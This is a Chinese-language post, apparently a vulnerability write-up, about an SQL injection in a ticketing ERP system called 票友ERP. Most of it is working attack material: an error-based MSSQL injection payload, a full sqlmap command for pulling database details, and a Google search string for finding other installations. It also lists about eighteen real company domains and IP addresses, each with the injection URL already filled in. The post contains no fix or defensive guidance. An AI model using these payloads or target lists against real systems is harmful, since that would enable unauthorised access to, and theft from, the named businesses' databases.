案例测试:
上海昕辰票务服务有限公司
http://oa.starstrip.net/
【注入点】
http://oa.starstrip.net/Json_db/meb_list.aspx?type='+AND+1=@@VERSION--

【sqlmap注入】
Python sqlmap.py -u 'http://oa.starstrip.net/json_db/meb_list.aspx?type=11' -p type --dbms mssql --level 5 --risk 3 --batch --current-db --technique=E -v 3

其他案例:
(google搜索:intitle:票友ERP管理系统)
http://oa.starstrip.net/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://oa.ryxtrip.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://oa.cht-travel.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://demo.piaoyou.org/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://py.4008836868.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://cz.4000211929.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://wh.4000211929.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://sdn.4000211929.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://oa.yccas.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://oa.wuzhouair.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://www.yeehang.cc/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://61.129.251.198:89/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://dzy.4000211929.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://jy.4000211929.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://xiykh.4000211929.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://58.42.249.181:82/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://118.126.10.91:85/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--
http://yps.4000211929.com/json_db/meb_list.aspx?type=11'+AND+1=@@VERSION--